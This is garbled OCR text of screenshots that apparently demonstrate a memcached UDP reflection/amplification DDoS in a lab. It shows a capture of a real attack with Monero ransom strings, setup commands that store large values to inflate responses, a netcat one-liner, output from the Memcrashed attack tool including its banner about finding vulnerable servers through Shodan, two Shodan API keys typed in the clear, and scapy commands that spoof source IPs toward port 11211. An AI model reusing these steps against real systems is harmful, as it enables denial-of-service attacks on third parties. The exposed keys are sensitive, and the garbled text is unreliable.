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= AT PTT:E X 72 # 2 3o p g = memcahed <+ sc#

- = = T T T =[N Wi Wi ==
W] ipply & display filter -+ <Crl-i
To. Time Sowme Sre port Destination Deest port Protocol Length  Info
1 2018-83-081 22:45:09.000023  195.251.96.3 11211 149.112.172.11 11852 MEMCACHE 1442 MEMCACHE Continuation
2 2018-83-01 22:45:09.000072  211.23.34.32 11211 146.112.172.11 36531 MEMCACHE 1442 MEMCACHE Continuation
3 2018-83-01 22:45:09.000084  131.94.129.27 11211 148.112.172.11 12113 MEMCACHE 1442 MEMCACHE Continuation
4 2018-83-01 22:45:09.000895 129.194.185.95 11211 149.112.172.11 51114 MEMCACHE 1442 MEMCACHE Continuation
5 2018-83-01 22:45:09.000096  45.123.201.234 11211 140.112.172.11 56620 MEMCACHE 1442 MEMCACHE Continuation
6 2018-83-01 22:45:09.00011@ 283.69.116.91 11211 140.112.172.11 35123 MEMCACHE 1442 Unknown opcode (222) Respons
7 2018-83-01 22:45:089.000166 129.194.185.95 11211 140.112.172.11 51114 MEMCACHE 1442 MEMCACHE Continuation
8 2018-83-01 22:45:09.000188 78.28.135.50@ 11211 140.112.172.11 31247 MEMCACHE 1442 MEMCACHE Continuation
9 2018-83-01 22:45:09.000191 45.123.201.234 11211 140.112.172.11 56620 MEMCACHE 1442 MEMCACHE Continuation
10 20818-03-01 22:45:09.000218 103.246.219.74 11211 140.112.172.11 54397 MEMCACHE 1442 MEMCACHE Continuation
r 11 2818-03-01 22:45:09.8002380 59.124.155.83 11211 140.112.172.11 1698 MEMCACHE 1442 MEMCACHE Continuation
i 12 2018-83-01 22:45:09.0808286 129.194.185.95 11211 148.112.172.11 51114 MEMCACHE 1442 MEMCACHE Continuation
B 13 2018 N . —
E . M \Vireshark - Follow UDP Stream (udp.stream eq 8) - ptt_2 m} X
i 5 2Ll %..u?...Pay_5@_XMR_To_456786Lg570D45CR5v3 2BFBbwMzKEm] tCKQfms 1nU7 IFdWgtEgcwmReMD1HaHGPGhX 1oX1 2mamQt1d1YVQ7SwuXUgDimZGpoPay_5@_XMR *
i 16 2018 _To_456786Lg57D45CR]j5v32BFBbiwMzKEMjtCKQfms1nU7 IFdigtEgcwmReMD1HaHGPGhXJoXi2mamQt 1d1YVQ7SwXUgDimZGpoPay_58_XMR_To_456786Lg57D45C
! 17 2018 Rj5v32BFBbwMzKEmMjtCKQfms1nU7IFdWgt EgcwmReMD1HaHGPGhX] oXi2mamQt1d1YVQ7SwXUgDimZGpoPay 5@ XMR_To_456786Lg57D45CR]5v32BFBbwMzKEmM]t
€| | CKQfms1nU7IFdWgtEgcumReMDIHaHGPGhX JoX12mamQt1d1YVQ7SwuXUgDinZGpoPay_58_XMR_To_456786Lg57D45CR§5v3 2BFBbwMzKEm i tCKQfms 1nU7 IFdgtEg
Frame 11: 14 | cwmReMD1HaHGPGhXJoXi2mamQt1d1YVQ75uXUgDimZGpoPay_5@_XMR_To_456786Lg57D45CR]j5v32BFBbwMzKEm] tCKQfms 1nU7IFdgtEgcwmReMD1HalGPGhXIo

Ethernet II
Internet Pr
User Datagri
Memcache Pr

R

Xi2mamQtld1YVQ75wXUgDimZGpoPay 58 XMR_To_456786Lg57D45CR]5v32BFBbwMzKEm]tCKQfms1nU7]FdigtEgcwmReMD1HaHGPGhX]oXi2mamQtId1YVQ7 SwX
UgDimZGpoPay 58 XMR_To 456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms 1nU7IFdWgtEgcwmReMD1HaHGPGhXJoX1i2mam(t1d1YVQ7SwXUgDimZGpoPay 58 XM
R_To 456786Lg57D45CR]5v32BFBbwMzKEM]jtCKQfms1nU7]Fdlgt EgcwmReMD1HaHGPGhX]oXi2mamQtId1YVQ7SwXUgDimZGpoPay 5@ XMR_To 456786Lg57D45
CRj5v32BFBbwMzKEmj tCKQfms 1nU7 JFdigtEgcwumReMD1HaHGPGhX1oXi2mamQtId1YVQ7SwXUgDimZGpoPay_ 58 XMR_To_456786Lg57DA5CRj5v32BFBbwMzKEm]
tCKQFms1nU7IFdigtEgcwmReMD1HaHGPGhXJoXi2mamQt1d1YVQ7SwXUgDimZGpoPay_58_XMR_To_ 4567861 g57D45CRj5v32BFBbwMzKEmjtCKQfms 1nU7IFdhgtE
gowmReMD1HaHGPGhXJoXi2mamQt1d1YVQ7SwXUgDimZGpoPay_58_XMR_To_456786Lg57D45CR]5v32BFBbwMzKEmj tCKQfms1nU7JFdlgtEgcwmReMD1HaHGPGhX]
oXi
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= 4] * Ubuntu: = memcached server

test@ubuntu:~$ memcached -m 64m -vv -u test -1 192.168.137.130 -U 11211
slab class : chunk size 96 perslab 16922
slab class : chunk size 120 perslab 8738
slab class : chunk size 152 perslab 6898
slab class 4: chunk size 192 perslab 5461
class : chunk size 240 perslab 4369
class : chunk size 304 perslab 3449
class : chunk size 384 perslab 2730
class : chunk size 480 perslab 2184
class : chunk size 600 perslab 1747
class : chunk size 752 perslab 1394
class : chunk size 944 perslab 1110
class : chunk size 1184 perslab 885
class : chunk size 1480 perslab 708
class 4: chunk size 1856 perslab 564
class : chunk size 2320 perslab 451
class : chunk size 2984 perslab 361
class : chunk size 3632 perslab 288
class : chunk size 4544 perslab 230
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- W kalift s e 2 b B EALZ O

:~# python
Python 2.7.14+ (default, Dec 5 2017, 15:17:02)
[GCC 7.2.8] on linux2
Type "help", "copyright", “credits"™ or "license" for more information.
=
KeyboardInterrupt
==> import memcache
=>> mc=memcache.Client(['192.168.137.130:11211"'],debug=True)
=== mc.add( 'mcdonald', "mcdonald"+*1000)
True

.add('testl', "mcdonald"+1e008)

.add('test2',"mcdonald"*20000)
.add('test3', "mcdonald”+90008)

.set('mcdonald', "mcdonald",9999999)
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- Memcache &7 1/ & * telnetie {74 (¥ » ¥ 1§

test@ubuntu: ~

class : chunk si 252696 perslab
class 3 k si 315872 perslab
class 3 kK si 394840 perslab
class 3 kK si 493552 perslab
class 40: k si 616944 perslab
class 41: k si 771184 perslab
class 42: k size 1048576 perslab
6 server listening (auto-negotiate)

send buffer was 212992, now 268435456
server listening (udp)

server listening (udp)

server listening (udp)

:~# telnet 192.168.137.138 11211
Trying 192.168.137.130...
Connected to 192.168.137.1380.
Efcap character is '"]'.

s testl

VhLHE testl @ 30000 2
dmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald
:naldmcdunalimcdunalimcdunaldmcdonaldmcdonaldmcdunnlimcdunalim naldmcdonald
donaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald
naldmcdonaldmcdonaldmcdonaldmcdonaldmcdonalc naldmcdonald
aldmcdonaldmc aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald naldmcdonald
aldmcdonaldmc aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldm naldmcdonald
mcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald
aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald naldmcdonald
aldmcdonaldmc aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald naldmcdonald
onaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonald
aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmedonald jonaldmcdonald
onaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonald naldmcdonald
nnaldmcdnnalimC'ﬁnaldmcdnnaldmcdonaldmcdonaldmcdnnalimcdnnalu naldmcdnnali

server listening (udp)

new aute-negotiating client connection
: Client using the ascii protocol

add testl @ © 810000

STORED
add test2 @ @ 792000
STORED

: Client using the ascii protocol
stats

: Client using the ascii protocol
stats

: Client using the ascii protocol
stats

: Client using the ascii protocol
-

: Client using the ascii protocol
stats

o




*C sent 16, rcvd 1190
:~# python -c "print '\0\x01\0\0\0\x01\0\0gets mcdonald testl test2 test3\r\n'"
|nc -nvvu 192.168.137.130 11211 > Desktop/test

(UNKNOWN) [192.168.137.130] 11211 (?) open
sent 42, rcvd 965617

: ~# I

= ¢ % X &% 42 bytes =~ /| 3¢
Memcached server + & < /|- 5 965617 bytes2_ 3t &

- 24 56 % 22990

i ﬂd\
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Time Sone B port Destination Diest port Protocol Length  Info

1183 2818-83-15 17:83:27.4862231.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1184 2818-83-15 17:83:27.4862530.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1185 2818-83-15 17:83:27.4863545.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1186 2818-83-15 17:83:27.4863861.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1187 2818-83-15 17:83:27.4864172.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1188 2818-83-15 17:83:27.4864478.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1189 2818-83-15 17:83:27.4864781.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1198 2818-83-15 17:83:27.48661460.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1191 2818-83-15 17:83:27.4866527.. 192.168.137.138 11211 192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
1192 2818-83-15 17:83:27.4866836.. 192.168.137.138 11211  192.168.137.129 58125 MEMCACHE 1442 MEMCACHE Continuation
ii M Viireshark - Follow UDP Stream (udp.stream eq 30) - memcached_ubuntu — O x
11 -~
e gets mcdonald testl test2 test3
11

VALUE testl @ Geeee 2

11} | mcdonaldmcdonaldmcdonaldmedonaldmedonaldmedonaldmedonaldmcdonaldmedonaldmedonaldmcdonaldmedonaldmcdonaldmcdonaldmcdonaldmcdonal
11| | dmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonaldmecdonaldmcdonaldmedonaldmecdonaldmcdonaldmecdonaldmcdonaldmcdonaldmcdonaldmcdona

-ram
‘the
[nte
Iser
femc

ldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdon
aldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmedo
naldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonaldmcdonaldmcdonaldmcdonaldmed
onaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonaldme
donaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldm
cdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmecdonald
mcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonaldmcdonal
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test@ubuntu:~5 netstat -atu
Active Internet connections (servers and established)
Proto Recv-Q Send-(Q

tcp
tcp
tcp
tcp
tcp
udp
udp
udp
udp
udp
udp
udpé
udp6
test@ubuntu:~$ |}

o Qs s [ o o o R s s e e o

oo, O000

Local Address
192.168.137.136:11211
localhost:11211
ubuntu:domain
192.168.137.136:11211
192.168.137.136:11211
*:ipp
192.168.137.136:11211
* :mdns

*:59309

ubuntu:domain
*:bootpc

[::]:mdns

[::]:46452

Foreign Address

‘*:‘*

‘*:‘:ﬁ'

*:':i'
192.168.137.129:531062
192.168.137.129:53092
® oW

® oW
M

State
LISTEN
LISTEN
LISTEN
TIME_WAIT
FIN_WAIT1
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File Edit View Search Terminal Help
ModuleNotFoundError: No module named 'scapy'
~/S M # python3 Memcrashed.py
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

MEMCRASHED

Author: @037
Version: 3.2

HHARBHUHARBRHRRRBHHAR R RS DISCLAINER ############HARBHHH R R R AR AR R R R
Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable
memcached servers. It then allows you to use the same servers to launch widespread
distributed denial of service attacks by forging UDP packets sourced to your victim.
Default payload includes the memcached "stats" command, 10 bytes to send, but the reply
is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly.

|
|
|
[
[
I am NOT responsible for any damages caused or any crimes committed by using this tool. |
HERHBHABHBRHBHRBHBHABHRBH B R AR BB R R H BB R R B AR HR R AR HR BB R AR R R AR R RRHR R R R AR R AR AR

Please enter a valid Shodan.io API Key: v8bWfDg®9Xm2UQUaZMiC9kTIUBDIcasA
File written: ./api.txt

Use Shodan API to search for affected Memcached servers? <Y/n>: y

Checking Shodan.io API Key: v8bWfDg09Xm2UQUaZMiC9kTIUBDIcasA

Error: Please upgrade your API plan to use filters or paging.

Would you like to change API Key? <Y/n>: y

Please enter valid Shodan.io API Key: mGsL1hlApYZkcCGBfEPNsdN2GpZsLziw
File written: ./api.txt

Restarting Platform! Please wait.

—
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= L | * shodanF # £ i& {7 # 45 port 11211 -
= £ 41 * python scapy % #* > iz X kIP3f#

:~# scapy
ARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/scapy
ARNING: IPython not available. Using standard Python shell instead.
elcome to Scapy (3.0.8)
==> send(IP(src=8.8.8.8, dst=2.2.2.2) / UDP(dport=11211)/Raw(load=12311111111), count=5)
File "<console=", line 1
send(IP(src=8.8.8.8, dst=2.2.2.2) / UDP(dport=11211)/Raw(load=12311111111}, count=5)

SyntaxError: invalid syntax
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>>> send(IP(src="8.8.8.8",dst="2.2.2.2")/UDP(dport=11211)/Raw(load=12311111111), count=5)

Sent 5 packets.
> send(IP(src="8.8.8.8",dst="1.1.1.1")/UDP(sport=1234, dport=11211)/Raw(load=12311111111),count=5)

Sent 5 packets.

SyntaxError: unexpected character after line continuation character
> send(IP(src="1.1.1.1",dst="192.168.137.132") /UDP(sport=1234, dport=11211)
/Raw(load="\0\x01\0\0\0\x01\0\0stats\r\n"), count=5)

Sent 5 packets.

o
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= Memcached server = # Jc 3| >

test@ubuntu: ~

class
class
class
class
class
class
class
6 server

36:
37:
38:
EH
40:
41:
L ¥
listening (auto-negotiate)

chunk
chunk
chunk
chunk
chunk
chunk
chunk

size
size
size
size
size
size
size

252696
315872
394840
493552
616944
771184
1048576

perslab
perslab
perslab
perslab
perslab
perslab
perslab

send buffer was 212992, now 268435456
server listening (udp)
server listening (udp)
server listening (udp)
server listening (udp)
new auto-negotiating client connection
Client using the ascii protocol
add testl © @ 810800

STORED

add testz @ 8@ 792000

STORED
: Client
stats
Client
stats
Client
stats
Client
stats
Client
stats

using the ascitl

using the

using the

using the

using the

ascii

ascii

ascii

ascii

protocol
protocol
protocol
protocol

protocol

(A N ST

=3



SCAPY JHIIZH

- e e T e T T e =1 [ Wi T - =
|u.dp.3trea.m ey 12
Time Boumee e port Destination Dest port Frotocol Length  Info

166 2@18-03-16 16:31:45.2522923.. 1.1.1.1 1234 192.168.137.132 11211 MEMCACHE 68 MEMCACHE Continuation
167 2@18-83-16 16:31:45.2525332.. 192.168.137.132 11211 1.1.1.1 1234 MEMCACHE 1229 MEMCACHE Continuation
168 2@18-83-16 16:31:45.2533416.. 1.1.1.1 1234 192.168.137.132 11211 MEMCACHE 68 MEMCACHE Continuation
169 2@18-83-16 16:31:45.2534885.. 192.168.137.132 11211 1.1.1.1 1234 MEMCACHE 1231 MEMCACHE Continuation
170 2818-83-16 16:31:45.2545891.. 1.1.1.1 1234 192.168.137.132 11211 MEMCACHE 68 MEMCACHE Continuation
171 2818-83-16 16:31:45.2547758.. 192.168.137.132 11211 1.1.1.1 1234 MEMCACHE 1231 MEMCACHE Continuation
172 2618-83-16 16:31:45.2557648.. 1.1.1.1 1234 192.168.137.132 11211 MEMCACHE 68 MEMCACHE Continuation
173 2018-83-16 16:31:45.2558785.. 192.168.137.132 11211 1.1.1.1 1234 MEMCACHE 1231 MEMCACHE Continuation
174 2618-83-16 16:31:45.2566592.. 1.1.1.1 1234 192.168.137.132 11211 MEMCACHE 68 MEMCACHE Continuation
175 2818-83-16 16:31:45.2567647.. 192.168.137.132 11211 1.1.1.1 1234 MEMCACHE 1231 MEMCACHE Continuation

M viireshark - Follow UDP Stream (udp.stream eq 12) - scapy_2 - O

STAT

STAT

STAT

g | STAT
Frame 166 2121
it:erne: STAT
nterne STAT
User Data STAT
Memcache CTAT

....S5TAT pid 8489

uptime 777

time 1521189185
version 1.4.25 Ubuntu
libevent 2.8.21-stable
pointer size 64
rusage_user @.02820880
rusage_system @.834315
curr_connections 5
total connections &

FannactEd Aan cdnncdanac &

e
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